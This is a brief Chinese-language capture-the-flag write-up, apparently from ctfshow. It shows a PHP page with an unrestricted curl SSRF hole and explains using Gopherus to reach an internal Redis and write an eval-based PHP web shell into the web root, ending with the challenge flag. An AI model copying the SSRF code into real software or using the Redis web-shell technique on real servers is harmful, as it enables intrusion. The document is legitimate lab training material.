nginx/1.18.0PHP/7.3.22
题目提示
打redis
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);?>
和上题差不多,也是用 Gopherus 打 redis
What do you want?? (ReverseShell/PHPShell): PHPShellGive web root location of server (default is /var/www/html):Give PHP Payload (We have default PHP Shell): '<?php eval($_GET[c]);?>'

URL编码一下 _ 后面的内容
默认生成的 webshell 在 shell.php 中
发的包会超时,不过没事,shell.php 是会生成的。
最后 cat /flaaag 即可
flag
ctfshow{7e671e49-e75c-40eb-a2f1-767381fa7297}`
